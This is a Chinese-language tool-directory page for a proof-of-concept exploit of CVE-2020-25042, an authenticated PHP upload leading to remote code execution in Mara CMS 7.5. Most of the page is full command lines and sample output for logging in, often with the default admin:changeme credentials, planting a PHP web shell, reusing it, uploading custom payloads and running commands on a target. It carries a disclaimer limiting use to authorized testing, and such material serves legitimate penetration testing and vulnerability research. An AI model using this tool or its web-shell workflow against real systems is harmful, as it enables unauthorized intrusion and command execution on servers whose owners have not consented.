Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-25042-PoC — CVE-2020-25042 的 PoC:自动化 Mara CMS 7.5 认证后的 PHP 上传到远程代码执行(RCE),包含登录哈希处理、Shell 复用、自定义载荷支持以及简洁的 CLI 输出。 | Kitploit
工具/GitHubGitHub/groppoxx/cve-2020-25042-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

CVE-2020-25042 的 PoC:自动化 Mara CMS 7.5 认证后的 PHP 上传到远程代码执行(RCE),包含登录哈希处理、Shell 复用、自定义载荷支持以及简洁的 CLI 输出。

查看仓库
543个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-25042-PoC

CVE-2020-25042 的概念验证,这是 Mara CMS 7.5 中一个经过身份验证的任意文件上传问题,可导致远程代码执行。

该脚本使用有效的 Mara CMS 管理员/经理账户登录,通过 codebase/handler.php 上传 PHP 载荷,并通过上传的文件执行命令。

它还尽可能重用现有的 shell,因此不会在每次运行时都创建新的 PHP 文件。

功能

  1. 检查预期的 shell 是否已存在且可重用。
  2. 如果可重用,直接执行命令。
  3. 如果不可重用,加载 CMS 页面并提取 shash。
  4. 使用 setsalt 操作请求登录盐值。
  5. 计算 Mara CMS 登录哈希。
  6. 以有效用户身份进行身份验证。
  7. 在 codebase/dir.php?type=filenew 打开上传流程。
  8. 通过 codebase/handler.php 上传 PHP 命令载荷。
  9. 通过上传的 shell 执行 --cmd。

要求

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

所需的 Python 包:

root@kitploit:~
requests
urllib3

快速开始

尖括号中的值是占位符。替换为你自己的值,并且不要包含 < 或 > 字符。

root@kitploit:~
python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

占位符

root@kitploit:~
<MARA_CMS_URL>  # 目标 Mara CMS 基础 URL。例如:http://target/cms
<USERNAME>      # 有效的 Mara CMS 管理员/经理用户名。
<PASSWORD>      # 有效的 Mara CMS 管理员/经理密码。

完整示例

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

示例输出:

root@kitploit:~
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

重用现有 Shell

默认情况下,脚本使用一个固定的 shell 名称:

root@kitploit:~
mara-poc.php

在下一次运行时,它会检查:

root@kitploit:~
http://target/cms/img/mara-poc.php

如果 shell 响应了预期的标记,脚本将跳过登录和上传:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

要重用之前使用随机名称创建的 shell:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

你也可以直接传递暴露的 shell 路径:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

仅上传

上传载荷但不执行命令:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

可选参数

root@kitploit:~
--page <PAGE>
   用于启动登录并提取 shash 的现有 CMS 页面。默认值:lorem.php

--shell-name <NAME>
   要上传或重用的 PHP 文件名。默认值:mara-poc.php

--shell-url-path <PATH_OR_URL>
   要重用的显式 shell 路径或 URL。
   示例:/cms/img/mara-poc.php

--payload-file <FILE>
   上传自定义 PHP 载荷,替代默认的 ?cmd= shell。

--destdir <DIR>
   在上传表单中发送的原始 destdir 值。默认让 Mara CMS 使用 img/。

--force-upload
   即使可重用的 shell 已存在,也始终登录并上传。

--upload-only
   上传载荷但不执行 --cmd。

--only-final
   隐藏进度日志,仅打印命令输出。

--no-color
   禁用 ANSI 颜色。

--debug
   打印请求 URL 和简短的处理程序响应片段。

说明

  • 该漏洞需要有效的已认证 Mara CMS 管理员或经理会话。
  • 在未修改的测试安装中,默认的 Mara CMS 凭据可能是 admin:changeme。
  • 默认载荷在命令输出前打印 MARA_CVE_2020_25042_OK。
  • 在 Mara CMS 7.5 中观察到的默认上传位置是 img/。
  • 尽可能使用 shell 重用,以避免在目标上留下大量 PHP 文件。
  • 仅在需要覆盖或重新创建载荷时使用 --force-upload。

法律声明

此 PoC 仅用于授权的安全测试、实验环境及漏洞验证。 未经明确许可,不得将其用于任何系统。

下载工具